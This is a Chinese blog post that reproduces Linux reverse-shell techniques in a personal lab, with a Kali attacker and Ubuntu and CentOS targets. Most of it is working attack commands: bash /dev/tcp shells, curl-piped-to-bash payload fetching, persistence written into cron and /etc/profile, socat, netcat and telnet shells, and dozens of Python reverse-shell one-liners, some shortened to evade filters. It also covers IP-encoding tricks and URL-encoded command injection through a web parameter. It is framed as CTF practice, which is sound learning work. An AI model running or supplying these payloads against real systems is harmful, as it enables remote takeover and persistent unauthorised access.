前情提要
本文是对https://blog.csdn.net/cosmoslin/article/details/121269178这篇文章的一个简单复现,具体原理在本文中不怎么会提到。师傅如果要验证的话,注意将下文的IP等改为自己对应的IP,还有其他的因素可能也要根据自己的情况做点修改。然后因为靶机或环境配置可能不同,各位师傅复现的结果可能与我的复现结果有些差异。如有意见、建议或问题欢迎提出。
IP:
kali: 192.168.40.148
ubuntu: 192.168.40.151
centos: 192.168.40.156 (由于未设置好,前期centos的IP是动态IP,IPV4可能会变化)
ubuntu和centos作为靶机
第1部分主要复现了各种反弹shell的方法,将各种命令直接放到终端运行,第2部分是对第一部分的简单总结,第3部分复现传参与反弹shell结合的情况,第4部分写的是遇到的主要问题及解决方法。
主要涉及到的网站:
1.要复现的文章:https://blog.csdn.net/cosmoslin/article/details/121269178
2.参考的文章:(开启简易HTTP服务)
3.IP的进制转化:
4.(反弹shell写入定时任务)
5.(/etc/profile)
1. 复现
1.1 直接bash反弹
kali: nc -lvnp 2333(开放并监听2333端口)
靶机: bash -i >& /dev/tcp/192.168.40.148/2333 0>&1
均能成功反弹:
1.2 curl
kali:
a.任找一个目录,创建index文件(index.php或index.html),文件内容为:
bash -i >& /dev/tcp/192.168.40.148/2333 0>&1
(其中2333为端口号,可改成其他任意的未使用的端口号,但要注意对应)也可以直接: echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php
b.在该目录下开启简易的http服务:https://blog.csdn.net/zr1213159840/article/details/123671790
因为HTTP服务的默认端口是80端口,所以这里http服务开启的是80端口。当然也可改成其他端口,如:
php -S 0.0.0.0:80 python3 -m http.server 80 ruby -run -e httpd . -p 9000 busybox httpd -f -p 3333 任选一种并将端口号改成80即可
c.在该目录下打开2333端口:(另开一个终端)
nc -lvp 2333
在ubuntu上执行:
curl 192.168.40.148|bash
即可反弹成功:
类似的,在centos上执行:
curl 192.168.40.148|bash
也可反弹成功
可将IP改为十进制、十六进制、八进制,ip进制转化参考的网站:http://www.metools.info/other/ipconvert162.html
十进制:
# 可用
curl 3232245908|bash
十六进制:
curl 0xC0A82894|bash (注意必须在前面加上0x!!!!) # 可用
curl c0.a8.28.94|bash # 不可用
八进制:(IP转为8进制)
# 不可用
curl 300520242244|bash
# 可用
curl 0300.0250.0050.0224|bash
二进制:
# 不可用
curl 11000000101010000010100010010100|bash
小结
# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php
php -S 0.0.0.0:80 (或其他开启HTTP服务的方法)
nc -lvp 2333
# ubuntu或centos上:
curl 192.168.40.148|bash
# 可将IP转为十进制,八进制,十六进制
1.3 将反弹shell写入定时任务-root
向目标主机的定时任务文件中写入一个反弹shell的脚本
前提:a.知道当前的用户名b.root权限
centos系列:
/var/spool/cron/root (把这个root换为当前的用户名即可-whoami)
Ubuntu/Debian:
/var/spool/cron/crontabs/root
初次使用这个定时任务:
上图也描述了我们payload中
*/1 * * * *
这部分的意思,即每隔一分钟就执行一次反弹shell的命令
即:
# centos:
crontab -e # 初次使用定时任务时需要本命令,可能会进行一些操作
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root
CTF中可以用>,渗透测试应该要用>>(另起一行追加),以避免造成对原内容的损失
效果:
然后尝试用Ubuntu弹shell:
ubuntu: ????弹不了
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/crontabs/root
emmm....暂时没有解决方法
1.4 /etc/profile-root
将反弹shell写入/etc/profile文件:
注意!!!!!!这里必须是追加>>符号,用>会导致原文件内容消失,从而系统崩溃;可以做个备份
/etc/profile文件
简介:让/etc/profile生效:
即:
1.source(或点) /etc/profile 2.重新登陆系统 --->通过finalshell新开终端
经测试,这两种方法均可使用
编辑/etc/profile要用root权限,否则报错:
centos:
echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
打开新的终端 (这个动作必不可少)
kali:
Ubuntu同理,成功反弹:
1.4 小结
root权限:
echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
运行写入的payload:重启/finalshell上新开终端/source(或点) /etc/profile
1.5 socat
可能需要下载:sudo apt install socat
socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
Ubuntu:
kali:
1.6 nc反弹
法一
如果有-e选项:
nc -e /bin/sh 192.168.40.148 2333
emmm..显然ubuntu这里是没有
试试centos:成功!
法二
没有-e的话可以选择这条命令:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
# 无论/tmp/m是否存在均可,/tmp/m也可换成其它文件
在执行上条命令之前在kali上执行:
nc -lvp 2333
同理,对于centos:
1.6 小结
# 法一:注意先后顺序
kali:
nc -lvp 2333
ubuntu或centos:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
# 法二:条件:有-e选项
nc -e /bin/sh 192.168.40.148 2333
1.7 利用netcat反弹shell-root
前提:root权限,网络连接正常
# 没有netcat要下载配置:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make && make install # 需要root权限
make clean
其中make && make install
这一步需要root权限:
否则后面不能反弹成功
# 若出现上面的报错,则执行:
su root # 切换到root用户,当然也可以用sudo,就不多说了
make && make install
make clean
使用netcat 反弹:
kali:
nc -lvp 2333
centos:
netcat 192.168.40.148 2333 -e /bin/bash
centos:
kali:
对ubuntu进行类似的操作,但是在执行./configure
的时候出现报错:
解决方法:
sudo apt update
sudo apt install build-essential
成功解决.
接着执行:./configure && make && make install && make clean && netcat 192.168.40.148 2333 -e /bin/bash
最终结果:
ubuntu:
kali:
1.7小结:
前提:需要root权限,需要有gcc
切换到root: sudo su或其它
gcc: sudo apt install build-essential
kali:
nc -lvp 2333
centos或Ubuntu:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
cd netcat-0.7.1
./configure
make && make install # 需要root权限:切换到root,或用sudo
make clean
netcat 192.168.40.148 2333 -e /bin/bash # 如果有netcat,则直接用这条命令
# 即靶机需要执行:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean && netcat 192.168.40.148 2333 -e /bin/bash
1.8 Telnet反弹shell-root
条件:需要有telnet客户端
如果没有则需要安装:(要求有网)
sudo apt update sudo apt install telnet
kali:
nc -lvp 2333
ubuntu:
mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a
明显需要root权限:
root用户:(ubuntu)
kali:
至于centos,步骤应该差不多,这里不做演示
1.9 python
python:(需要按ctrl+c退出)
# 可用,需要python环境
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
centos:
kali:
由于ubuntu上没有python环境,(因为懒得下),所以就不演示了,以下是反弹centos的shell
# 可用,需要python环境
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
centos:
kali:
接下来的都差不多,就不发截图了
# 可用
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
另:发现每连接一次SSH,centos的IP就会变化,解决:https://blog.csdn.net/cyberpunk_Isme/article/details/108257936
# 可用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
IPV4(无空格)
# 可用
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
感觉下面的都差不多,那就验证到这儿.
2.Linux反弹shell总结
1.无论是哪种反弹shell,都要注意在开始时在攻击机(本文中是kali)上开启相应端口:nc -lvp 2333
(也可多加一个-n参数,即nc -lvnp 2333)(所以为避免重复,在下面列举payload时不再提醒要在kali上运行nc -lvnp 2333命令)
该命令的相关解释:
2.除了定时任务那个,反弹centos或ubuntu的shell时并无大的不同,只是有些环境或软件只在centos或ubuntu上而已,可通过下载或配置环境解决
3.Ip可换为十进制,十六进制(加上0x那种,不区分大小写),八进制(加上点的那种).IP进制转换的相关网站:(转为十进制),(转为八进制),(转为十六进制)
4.使用时记得替换掉对应的IP,即将下面的192.168.40.148替换为攻击机的IP,也可将2333端口换为其它不用的端口,只要注意对应即可
5.payload:无特殊说明的就是直接在靶机终端上运行的。
①直接bash反弹
bash -i >& /dev/tcp/192.168.40.148/2333 0>&1
②curl:
# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php
php -S 0.0.0.0:80 (或其他开启HTTP服务的方法)
# ubuntu或centos上:
curl 192.168.40.148|bash
③定时任务-适用centos
centos系列:
/var/spool/cron/root
Ubuntu/Debian:
/var/spool/cron/crontabs/root
例:
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root
④/etc/profile-root-不可
sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
登录系统或者执行/etc/profile文件(source,点)
④socat-可用
socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
⑤nc:可用
nc -e /bin/sh 192.168.40.148 2333
nc:可用
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
⑥netcat-root,gcc
# 靶机环境准备(必要的话): # 切换到root: sudo su或su或su root或su - # 安装gcc: sudo apt install build-essential # 安装配置netcat: wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean
netcat 192.168.40.148 2333 -e /bin/bash
⑦telnet-root
mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a
⑧一系列脚本:
Python环境(py2和py3都可)-下面IPV6部分不太常用,除此部分之外的其他payload应该都能用
# 一般:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
IPV4:
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
# IPv4 (No Spaces) 验证到了这儿
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
# IPv4 (No Spaces, Shortened)
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
# IPv4 (No Spaces, Shortened Further)
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
# IPv6,下面需要得知靶机的IPV6,一般不怎么涉及,故没有验证
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# IPv6 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# IPv6 (No Spaces, Shortened)
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
3. 传参与反弹shell
在CTF比赛中,一般不会让我们直接在靶机终端输入命令,通常要传参,下列是通过传参来执行命令的情况.
先看环境:
Ubuntu:192.168.40.151
kali:192.168.40.148
开启HTTP服务:(Ubuntu)
sudo apt-get install php(如果必要的话)
php -S 0.0.0.0:8080
kali:
nc -lvnp 2333
访问并传参:正常执行
开始验证:
# ①直接bash反弹: Ubuntu不可,centos可
bash -i >& /dev/tcp/192.168.40.148/2333 0>&1
尝试URL编码处理:
依旧不能获得shell
尝试用centos:经过一次URL编码后能成功反弹:
另:
在Ubuntu上测是否需要转义字符时不小心把系统弄崩了,但重启可恢复,经过反复测试,会弄崩的语句有:
bash -i >& /dev/tcp/192.168.40.148/7777 0\>&1 bash -i >\& /dev/tcp/192.168.40.148/7777 0>\&1 bash -i >\& /dev/tcp/192.168.40.148/7777 0\>&1 bash -i >\& /dev/tcp/192.168.40.148/7777 0\>\&1
崩掉的情况:
# ②curl :可行
# kali上:
echo "bash -i >& /dev/tcp/192.168.40.148/2333 0>&1">index.php
nc -lvp 2333
# ubuntu或centos上:
curl 192.168.40.148|bash
IP转为十进制:可行,所以用1.2中的8进制与十六进制估计也行
# ③定时任务:-root Ubuntu不可,centos可
centos系列:
/var/spool/cron/root
Ubuntu/Debian:
/var/spool/cron/crontabs/root
例:(传参时需要经过URL编码)
Ubuntu:
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/crontabs/root
centos:
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.148/2333 0>&1" > /var/spool/cron/root
虽然能够写入,但是不能按照规则,1分钟执行一次反弹shell的命令
试试centos:可行,只不过要进行编码:
结果:
# ④/etc/profile-root : Ubuntu不可,centos可
sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
打开终端: gnome-terminal
在root用户下,传值echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
,以Ubuntu为例
注意要进行URL编码:
尝试通过source /etc/profile或. /etc/profile
来使payload生效:
尝试失败
试试centos:-root:可行
(URL编码)sudo echo "/bin/bash -i >& /dev/tcp/192.168.40.148/2333 0>&1 &" >> /etc/profile
source /etc/profile
用点也可以:
# ⑤socat:可用
socat tcp-connect:192.168.40.148:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
# ⑥可行
nc -e /bin/sh 192.168.40.148 2333
关于nc -e /bin/sh 192.168.40.148 2333为什么又能在ubuntu中执行这件事:
我怀疑可能是因为我执行了这两条命令:(不确定)
# 失败
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 192.168.40.148 2333 >/tmp/m
# ⑦netcat-root,gcc
# 可用
# 靶机环境准备(必要的话):
# 切换到root:
sudo su或su或su root或su -
# 安装gcc:
sudo apt install build-essential
# 安装配置netcat:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz && tar -xvzf netcat-0.7.1.tar.gz && cd netcat-0.7.1 && ./configure && make && make install && make clean
netcat 192.168.40.148 2333 -e /bin/bash
# ⑧telnet-root
# 可用
mknod a p; telnet 192.168.40.148 2333 0<a | /bin/bash 1>a
一系列脚本:
测试所用的Python环境-Python2.7.18 (python3应该也可以)
# ⑨ 可用
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.40.148",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
IPV4:
export RHOST="192.168.40.148";export RPORT=2333;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
# IPv4 (No Spaces) 验证到了这儿
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",2333));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
# IPv4 (No Spaces, Shortened)
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
# IPv4 (No Spaces, Shortened Further)
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",2333));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",2333));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
# IPv6,下面需要得知靶机的IPV6,一般不怎么涉及,故没有验证
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# IPv6 (No Spaces)
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
# IPv6 (No Spaces, Shortened)
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",2333,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
小结
除了1.1、1.3、1.4均未能反弹Ubuntu的shell、1.6的法二、1.9的Ipv6部分payload,其他payload都能成功反弹shell。
其中1.3、1.4、1.7、1.8要求有root权限,1.3反弹centos的shell、1.4要求进行一次URL编码后再传参。
4. 遇到的问题及解决方法
将centos的动态IP化为静态IP:https://blog.csdn.net/cyberpunk_Isme/article/details/108257936
centos无法联网:(参考文章)
这两篇文章都在修改同一个文件:vim /etc/sysconfig/network-scripts/ifcfg-ens33
修改后的结果:
可能受PHP版本影响,在centos环境,php 5.4.16的情况下,php -S 0.0.0.0:8080的执行情况不理想
所以centos升级PHP版本:(参考文章)
php -v
yum list installed |grep php
yum remove php*
rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
yum install php72w php72w-opcache php72w-xml php72w-mcrypt php72w-gd php72w-devel php72w-mysqlnd php72w-intl php72w-mbstring php72w-pear php72w-pdo php72w-fpm
还参考了这个:
标签:__,fileno,2333,socket,dup2,shell,复现,Linux,os From: https://www.cnblogs.com/hello-admin/p/17567081.html